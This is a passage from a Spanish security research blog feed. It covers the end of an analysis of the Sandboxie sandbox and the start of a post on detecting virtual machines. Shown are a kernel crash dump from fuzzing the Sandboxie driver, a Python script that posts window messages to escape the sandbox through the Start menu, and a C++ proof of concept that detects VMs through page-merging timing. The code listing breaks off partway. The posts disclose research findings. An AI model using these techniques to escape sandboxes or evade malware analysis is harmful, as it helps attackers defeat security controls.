*** provided you with these symbols if you need this command to ***<br />
*** work. ***<br />
*** ***<br />
*** Type referenced: kernel32!pNlsUserInfo ***<br />
*** ***<br />
*************************************************************************<br />
<strong>READ_ADDRESS: 6b757a74  (kuzt -&gt; tzuk -&gt; el nombre del autor)<br />
</strong>CURRENT_IRQL: 123400<br />
FAULTING_IP:<br />
+5c1952f0012c4f0<br />
12340027 ?? ???<br />
DEFAULT_BUCKET_ID: DRIVER_FAULT<br />
BUGCHECK_STR: 0xD0<br />
PROCESS_NAME: Kartoffel.exe<br />
LAST_CONTROL_TRANSFER: from 804f7b27 to 8052716c<br />
STACK_TEXT:<br />
f7642750 804f7b27 00000003 f7642aac 00000000 nt!RtlpBreakWithStatusInstruction<br />
f764279c 804f8714 00000003 c0000005 00000000 nt!KiBugCheckDebugBreak+0&#215;19<br />
f7642b7c 804f8c3f 000000d0 6b757a74 00123400 nt!KeBugCheck2+0&#215;574<br />
f7642b9c f7cce31f 000000d0 6b757a74 00123400 nt!KeBugCheckEx+0x1b<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
f7642c34 804ee0ef 81740340 817398a0 806d12d0 SbieDrv+0x131f<br />
f7642c44 80574032 81739910 818b2b88 817398a0 nt!IopfCallDriver+0&#215;31<br />
f7642c58 80574ec1 81740340 817398a0 818b2b88 nt!IopSynchronousServiceTail+0&#215;60<br />
f7642d00 8056d81e 000007b4 00000000 00000000 nt!IopXxxControlFile+0x5e7<br />
f7642d34 8053cbc8 000007b4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a<br />
f7642d34 7c91eb94 000007b4 00000000 00000000 nt!KiFastCallEntry+0xf8<br />
0012eca4 7c91d8ef 7c8016be 000007b4 00000000 ntdll!KiFastSystemCallRet<br />
0012eca8 7c8016be 000007b4 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc<br />
0012ed08 0040617d 000007b4 00222007 003b0808 kernel32!DeviceIoControl+0&#215;78<br />
0012fee4 0040a9cd 0000000f 003b0b40 003b0c10 Kartoffel+0x617d<br />
0012ffc0 7c816ff7 0000001a 00000000 7ffdd000 Kartoffel+0xa9cd<br />
0012fff0 00000000 0040a85a 00000000 78746341 kernel32!BaseProcessStart+0&#215;23<br />
STACK_COMMAND: kb<br />
FOLLOWUP_IP:<br />
SbieDrv+131f<br />
f7cce31f 8bf7 mov esi,edi<br />
SYMBOL_STACK_INDEX: 4<br />
SYMBOL_NAME: SbieDrv+131f<br />
FOLLOWUP_NAME: MachineOwner<br />
MODULE_NAME: SbieDrv<br />
IMAGE_NAME: SbieDrv.sys<br />
DEBUG_FLR_IMAGE_TIMESTAMP: 4d8b29aa<br />
FAILURE_BUCKET_ID: 0xD0_SbieDrv+131f<br />
BUCKET_ID: 0xD0_SbieDrv+131f<br />
Followup: MachineOwner<br />
&#8212;&#8212;&#8212;<br />
Sorting &#8216;Functions window&#8217;&#8230; ok</span></h5>
<p><strong>KeBugCheck es llamado por el propio SbieDrv porque detecta algo raro, así que es un simple DoS no muy peligroso. Pero que un fuzzeo tan simple nos provoque un DoS en kernel nos hace pensar que el código de SbieDrv tiene varios cabos sueltos.</strong></p>
<p><strong><span style="text-decoration: underline;">5.2. Envío de mensajes a </span></strong><strong><span style="text-decoration: underline;">Shell_TrayWnd (ventana excluída por Sandboxie):</span></strong></p>
<p>Como ya vimos en el análisis de los hooks para controles de mensajes a ventanas hay una serie de ventanas excluídas para las que se permiten algunos mensajes adicionales. Entre ellas está Shell_TrayWnd, la ventana de la barra de aplicaciones.</p>
<p><strong>El siguiente script demuestra que estos mensajes permitidos a Shell_TrayWnd nos permiten movernos por el menú inicio y lanzar aplicaciones linkadas desde él:</strong></p>
<p><code><br />
<span style="color: #000000;"> import random</span></code></p>
<p><code><span style="color: #000000;"> </span></code></p>
<p><code><span style="color: #000000;">random.seed()</span></code></p>
<p><code><span style="color: #000000;">VK_LEFT=0x25<br />
VK_UP=0x26<br />
VK_RIGHT=0x27<br />
VK_DOWN=0x28<br />
VK_RETURN=0x0d<br />
VK_TAB=0x09<br />
VK_SHIFT=0x10<br />
VK_CONTROL=0x11<br />
VK_MENU=0x12</span></code></p>
<p><code><span style="color: #000000;"> </span></code></p>
<p><code><span style="color: #000000;">import ctypes<br />
import time<br />
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT<br />
trayRect=RECT(0,0,0,0)<br />
trayWindow = ctypes.windll.user32.FindWindowExA(0,0,"Shell_TrayWnd",0)<br />
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow,0,"TrayNotifyWnd",0)</span></code></p>
<p><code><span style="color: #000000;"> </span></code></p>
<p><code>def PressKey(hwin,key):</code></p>
<p><code> </code></p>
<p style="padding-left: 30px;"><code>msgkeydown=0x100<br />
msgkeyup=0x101<br />
ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0) #KEYDOWN<br />
time.sleep(0.1)<br />
ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0) #KEYUP<br />
time.sleep(0.1)</code></p>
<p><code> </code></p>
<p><code>ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0x200020) #WM_NCLBUTTONDOWN<br />
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0x200020) #WM_NCLBUTTONUP</code></p>
<p><code> </code></p>
<p><code>PressKey(trayWindow, VK_UP)<br />
PressKey(trayWindow, VK_UP)<br />
PressKey(trayWindow, VK_UP)<br />
PressKey(trayWindow, VK_UP)<br />
PressKey(trayWindow, VK_UP)<br />
PressKey(trayWindow, VK_UP)<br />
PressKey(trayWindow, VK_UP)</code></p>
<p><code> </code></p>
<p><code>PressKey(trayWindow, VK_RIGHT)<br />
PressKey(trayWindow, VK_RIGHT)</code></p>
<p><code> </code></p>
<p><code>PressKey(trayWindow, VK_DOWN)<br />
PressKey(trayWindow, VK_DOWN)<br />
PressKey(trayWindow, VK_DOWN)<br />
PressKey(trayWindow, VK_DOWN)<br />
PressKey(trayWindow, VK_DOWN)<br />
PressKey(trayWindow, VK_DOWN)</code></p>
<p><code> </code></p>
<p><span style="color: #000000;"> </span></p>
<p><code><span style="color: #000000;">PressKey(trayWindow, VK_RETURN)</span></code></p>
<p><code><span style="color: #888888;"> </span></code>(Las pulsaciones de teclas son las necesarias para lanzar la calculadora tal como yo tenía colocado el menú inicio cuando hice la prueba).</p>
<p>No es un problema de seguridad grave pero pienso que tampoco es el comportamiento que espera el usuario de la sandbox.</p>
<p><strong><span style="text-decoration: underline;"> </span></strong></p>
<p><strong><span style="text-decoration: underline;">5.3. Nombres largos:</span></strong></p>
<p>Sandboxie tiene problemas con nombres de ficheros largos (más largos que MAX_PATH y hasta 32 mil y pico caracteres) porque en su callback LoadImageNotifyRoutine llega el nombre a NULL.</p>
<p>No he visto problemas de seguridad aquí pero sí que se obtienen mensajes de error y comportamientos que sin Sandboxie no ocurrirían (tanto en procesos sandboxeados como no sandboxeados).</p>
<p>Sin embargo este detalle nos vuelve a hacer pensar que es difícil interceptar demasiadas cosas en el sistema operativo, en puntos muy delicados, y tener en cuenta todos los posibles casos.</p>
<p><strong><span style="text-decoration: underline;">5.4. Parseo de formatos complejos:</span></strong></p>
<p>En mi opinión el driver de Sandboxie <strong>tiene código bastante arriesgado en kernel.</strong></p>
<p>Por ejemplo, en el callback LoadImageNotifyRoutine se hace un <strong>parseo a fondo de la cabecera PE de la imagen cargada</strong> en modo usuario. A continuación vemos el comienzo de dicho parseo en el que más adelante profundiza en los recursos, etc…</p>
<p><img class="alignnone" title="parseo cabeceras" src="http://blog.48bits.com/wp-content/uploads/2011/05/parseo-cabeceras.jpg" alt="" width="931" height="741" /></p>
<p><strong>También abre y parsea los ficheros de configuración .ini</strong> desde kernel:</p>
<p><img class="alignnone" title="parseo ini" src="http://blog.48bits.com/wp-content/uploads/2011/05/parseo-ini.jpg" alt="" width="354" height="658" /></p>
<p>En otros puntos <strong>desensambla instrucciones</strong> a la entrada de funciones (tanto de kernel como de modo usuario) para saber que tipo de hook debe meter y guardarse las instrucciones sobrescritas. Cuando por ejemplo se va a pinchar algo en modo usuario es el driver el que va a salvar en un buffer de usuario las instrucciones que se van a sobreescribir.</p>
<p>En definitiva, mi opinión es que Sandboxie mete bastante código complejo y arriesgado en kernel. Ya vimos en el sencillo fuzzeo de io controles que SbieDrv deja más de un cabo suelto. No me he metido a fuzzear en profundida: ficheros ini, cabeceras pe, etc… pero tengo la impresión de que saltaría la liebre por más de un sitio.</p>
<p><strong><span style="text-decoration: underline;">5.5. Conclusión:</span></strong></p>
<p><strong>En general mi opinión es que las sandbox por aislamiento de proceso llevan una inseguridad intrínseca:</strong></p>
<p style="padding-left: 30px;">-Es difícil interceptar todo lo peligroso a lo que puede acceder un proceso.</p>
<p style="padding-left: 30px;">-Se va a introducir código (los hooks) en puntos muy delicados del sistema por lo que hay que confiar mucho en ese código.</p>
<p style="padding-left: 30px;">-Se van a tocar cosas muy dependientes de la versión del sistema operativo para interceptar todo lo necesario.</p>
<p style="padding-left: 30px;">-Muchos de los hooks necesarios no van a ser muy limpios ni documentados, ni soportados por el sistema, más propios de un rootkit que de una herramienta de seguridad.</p>
<p style="padding-left: 30px;">-Seguramente vas a necesitar meter algunas excepciones a lo que prohibes en la sandbox para que funcionen algunas aplicaciones típicas, como hace Sandboxie.</p>
<p style="padding-left: 30px;">-En el caso de Sandboxie además se meten en kernel muchos bloques de código complejos que en mi opinión podrían estar en modo usuario: parseo de ficheros sandboxie.ini y templates.ini, parseo de cabeceras PE, etc…</p>
<p style="padding-left: 30px;">-También en el caso de Sandboxie, por su diseño, necesita exportar mucha funcionalidad compleja a través de io controles.</p>
<p><strong>Mi conclusión respecto a Sandboxie es que es una herramienta útil en la que sí lanzaría un navegador o un pdf reader para ayudar a protegerme contra vulnerabilidades, pero si fuera a lanzar malware dentro de Sandboxie, lanzaría Sandboxie dentro de una vmware, bochs u otra máquina virtual.</strong></p>
<p><strong><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2011/05/23/sandbox-i-sandboxie-aislamiento-de-procesos-mediante-control-de-acceso-a-objetos-en-kernel/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Jugando con Samepage Merging</title>
		<link>http://blog.48bits.com/2010/03/17/jugando-con-samepage-merging/</link>
		<comments>http://blog.48bits.com/2010/03/17/jugando-con-samepage-merging/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 22:47:44 +0000</pubDate>
		<dc:creator>erg0t</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Malware Analysis]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1250</guid>
		<description><![CDATA[ACTUALIZACIÓN: 1/5/2010 Incluyo un pequeño cambio en el codigo del PoC que había hecho el cual mejora muchisimo los resultados, lamentablemente no tengo tiempo de rehacer las graficas y las conclusiones. Pruebenlo que ahora los resultados son mucho mas notables Hola audiencia de 48bits, hoy les voy a contar un poco sobre una cualidad que [...]]]></description>
			<content:encoded><![CDATA[<p style="padding-left: 30px; text-align: center;"><span style="color: #ff0000;"><em><strong>ACTUALIZACIÓN:</strong> 1/5/2010 Incluyo un pequeño cambio en el codigo del PoC que había hecho el cual mejora muchisimo los resultados, lamentablemente no tengo tiempo de rehacer las graficas y las conclusiones. Pruebenlo que ahora los resultados son mucho mas notables <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </em></span></p>
<p>Hola audiencia de 48bits, hoy les voy a contar un poco sobre una cualidad que tienen ciertos entornos de virtualizacion, la cual podemos aprovechar para detectar los mismos.</p>
<p>El método que propongo esta basado en timing analysis, pero no sobre el tiempo de ejecución de determinadas instrucciones, sino que sobre los tiempos de acceso a memoria. Se han utilizado técnicas similares para detectar VMMs (incluyendo VT). Un método conocido es medir el tiempo de acceso a memoria con cache on/off, por lo general el VMM no permite desactivar el cache, entonces si ambas mediciones dan resultados similares significa que estamos dentro de un entorno virtual.</p>
<p>A diferencia de esa técnica, la manera que he encontrado no requiere ring0 y además es bastante sencilla. Claro que tiene ciertas limitaciones, no sirve para detectar cualquier VM, solo aquellas que implementen samepage merging (hasta ahora solo hice pruebas con KVM-KSM y VMware).<br />
<span id="more-1250"></span><br />
Supongo que tendré que explicar un poco en que consiste esto del samepage merging (desde ahora SM porque soy vago). El SM esta muy relacionado con el CoW (Copy on Write). Básicamente se trata de un thread que periódicamente recorre la memoria y une todas las páginas cuyo contenido es exactamente el mismo. Una vez unidas las páginas, el resto del proceso es exactamente un CoW, se comparte la misma page frame y se marca la página como read-only, cuando se intenta realizar una escritura, el manejador de excepciones se encarga de asignar una nueva página.</p>
<p>Este tipo de estrategia es bastante costosa por lo que no se suele utilizar sobre toda la memoria del sistema operativo. Sin embargo es muy tentador utilizarla en entornos  virtualizados ya que se ahorran cantidades considerables de ram, el beneficio es máximo cuando se corren varios guests simultanea-mente.</p>
<p>En linux disponemos de KSM (Kernel Samepage Merging), este se puede activar y desactivar en el vuelo. Cualquier versión reciente de KVM saca provecho de KSM si se encuentra activado. La idea original sobre este tipo de tecnologías parece pertenecer a <a href="http://www.google.com/patents?vid=USPAT6789156">VMware</a> y al parecer hubo ciertos problemas de patentes con KSM, lo importante a destacar es que si podemos aprovecharnos de KSM seguramente también podemos hacerlo de VMware.</p>
<p>Ya con todo esto un poco explicado, algunos deben estarse preguntando que pasaría si medimos los tiempos de acceso a memoria antes y después de que el KSM (o VMware) actue sobre la memoria del guest. Es justamente lo que vamos a averiguar <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><span style="text-decoration: line-through;">Para logralo he escrito un PoC bastante cutre pero útil a nuestros propósitos. A continuación, el código (que no es muy bonito que digamos), y le sigue su descripción.</span></p>
<p><strong><span style="color: #ff0000;">Nuevo PoC!</span></strong></p>
<div class="dean_ch" style="white-space: wrap;"><span class="coMULTI">/*<br />
&nbsp;* smdetect.cpp<br />
&nbsp;*<br />
&nbsp;* Created by Daniel Fernandez (<span class="mh-email">soyf<a href='http://www.google.com/recaptcha/mailhide/d?k=018C3PkzWHAYgYz895QBbhcA==&amp;c=lFF3h9zRWUVhNd5kW--LV7y-IWS6WL2Q1P5cpE_Q4Gw=' onclick="window.open('http://www.google.com/recaptcha/mailhide/d?k=018C3PkzWHAYgYz895QBbhcA==&amp;c=lFF3h9zRWUVhNd5kW--LV7y-IWS6WL2Q1P5cpE_Q4Gw=', '', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=500,height=300'); return false;" title="Reveal this e-mail address">...</a>@48bits.com</span>) on 19/03/2010<br />
&nbsp;*<br />
&nbsp;* Copyright (c) 2010 &nbsp;48BITS<br />
&nbsp;* All rights reserved.<br />
&nbsp;*<br />
&nbsp;* Redistribution and use in source and binary forms, with or without<br />
&nbsp;* modification, are permitted provided that the following conditions<br />
&nbsp;* are met:<br />
&nbsp;*<br />
&nbsp;* Redistributions of source code must retain the above copyright notice,<br />
&nbsp;* this list of conditions and the following disclaimer.<br />
&nbsp;*<br />
&nbsp;* Redistributions in binary form must reproduce the above copyright<br />
&nbsp;* notice, this list of conditions and the following disclaimer in the<br />
&nbsp;* documentation and/or other materials provided with the distribution.<br />
&nbsp;*<br />
&nbsp;* Neither the name of the project&#8217;s author nor the names of its<br />
&nbsp;* contributors may be used to endorse or promote products derived from<br />
&nbsp;* this software without specific prior written permission.<br />
&nbsp;*<br />
&nbsp;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS<br />
&nbsp;* &quot;AS IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT<br />
&nbsp;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS<br />
&nbsp;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT<br />
&nbsp;* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,<br />
&nbsp;* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED<br />
&nbsp;* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR<br />
&nbsp;* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF<br />
&nbsp;* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING<br />
&nbsp;* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS<br />
&nbsp;* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.<br />
&nbsp;*<br />
&nbsp;*/</span></p>
<p><span class="co2">#include &lt;iostream&gt;</span><br />
<span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;sys/time.h&gt;</span><br />
<span class="co2">#include &lt;unistd.h&gt;</span></p>
<p><span class="co2">#ifdef _WIN32</span><br />
<span class="co2">#include &lt;windows.h&gt;</span><br />
<span class="co2">#else</span><br />
<span class="co2">#include &lt;sys/mman.h&gt;</span><br />
<span class="co2">#endif</span></p>
<p>class Buffer<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw4">int</span> *buffer;<br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> size;</p>
<p>&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> gettime<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> timeval tv;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; gettimeofday<span class="br0">&#40;</span>&amp;tv, <span class="kw2">NULL</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span><span class="br0">&#41;</span> tv.<span class="me1">tv_sec</span><span class="br0">&#41;</span> * 1000000ULL +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span><span class="br0">&#41;</span> tv.<span class="me1">tv_usec</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>public:</p>
<p>&nbsp; &nbsp; <span class="kw2">enum</span> Exceptions<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ALLOC_FAILED,<br />
&nbsp; &nbsp; &nbsp; &nbsp; LOCK_FAILED,<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>;</p>
<p>&nbsp; &nbsp; Buffer<span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> sz, bool locking, <span class="kw4">unsigned</span> <span class="kw4">int</span> seconds<span class="br0">&#41;</span> : size<span class="br0">&#40;</span>sz<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
<span class="co2">#ifdef _WIN32</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hProcess<span class="br0">&#40;</span>GetCurrentProcess<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T minws, maxws;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; buffer = <span class="br0">&#40;</span><span class="kw4">int</span> *<span class="br0">&#41;</span> VirtualAlloc<span class="br0">&#40;</span><span class="kw2">NULL</span>, size, MEM_COMMIT, PAGE_READWRITE<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>buffer == <span class="kw2">NULL</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw ALLOC_FAILED;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>locking == <span class="kw2">true</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetProcessWorkingSetSize<span class="br0">&#40;</span>hProcess, &amp;minws, &amp;maxws<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetProcessWorkingSetSize<span class="br0">&#40;</span>hProcess, minws + size, maxws + size<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>VirtualLock<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw LOCK_FAILED;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="co2">#else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; buffer = <span class="br0">&#40;</span><span class="kw4">int</span> *<span class="br0">&#41;</span> mmap<span class="br0">&#40;</span><span class="kw2">NULL</span>, size, PROT_READ | PROT_WRITE, MAP_PRIVATE |<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MAP_ANONYMOUS, <span class="nu0">0</span>, <span class="nu0">0</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>buffer == MAP_FAILED<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw ALLOC_FAILED;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>locking == <span class="kw2">true</span> &amp;&amp; mlock<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span> == <span class="nu0">-1</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw LOCK_FAILED;<br />
<span class="co2">#endif</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> x<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>; x != size/<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>; ++x<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer<span class="br0">&#91;</span>x<span class="br0">&#93;</span> = 0x443d3d38;<br />
<span class="co2">#ifdef _WIN32</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; Sleep<span class="br0">&#40;</span>seconds * <span class="nu0">1000</span><span class="br0">&#41;</span>;<br />
<span class="co2">#else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; sleep<span class="br0">&#40;</span>seconds<span class="br0">&#41;</span>;<br />
<span class="co2">#endif</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; ~Buffer<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
<span class="co2">#ifdef _WIN32</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; VirtualUnlock<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; VirtualFree<span class="br0">&#40;</span>buffer, <span class="nu0">0</span>, MEM_RELEASE<span class="br0">&#41;</span>;<br />
<span class="co2">#else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; munmap<span class="br0">&#40;</span>buffer, size<span class="br0">&#41;</span>;<br />
<span class="co2">#endif</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> measureWrite<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> start<span class="br0">&#40;</span>gettime<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> x<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>; x != size/<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>; x += <span class="nu0">4096</span>/<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer<span class="br0">&#91;</span>x<span class="br0">&#93;</span> = x;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> gettime<span class="br0">&#40;</span><span class="br0">&#41;</span> &#8211; start;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span>;</p>
<p><span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> getTime<span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">int</span> bsize, bool locking,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw4">unsigned</span> <span class="kw4">int</span> sleep_seconds = <span class="nu0">0</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; Buffer buf<span class="br0">&#40;</span>bsize, locking, sleep_seconds<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">return</span> buf.<span class="me1">measureWrite</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> buffer_size<span class="br0">&#40;</span><span class="nu0">15</span>*<span class="nu0">1024</span>*<span class="nu0">4096</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> sleep_time<span class="br0">&#40;</span><span class="nu0">60</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> threshold<span class="br0">&#40;</span><span class="nu0">500</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; bool locking<span class="br0">&#40;</span><span class="kw2">true</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw4">char</span> c;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>c = getopt<span class="br0">&#40;</span>argc, argv, <span class="st0">&quot;pm:s:t:&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> != <span class="nu0">-1</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span><span class="br0">&#40;</span>c<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;p&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; locking = <span class="kw2">false</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;m&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer_size = <span class="br0">&#40;</span>atoi<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span> * <span class="nu0">1024</span> * <span class="nu0">1024</span><span class="br0">&#41;</span> &amp; ~<span class="nu0">4095</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;s&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sleep_time = atoi<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;t&#8217;</span>:<br />
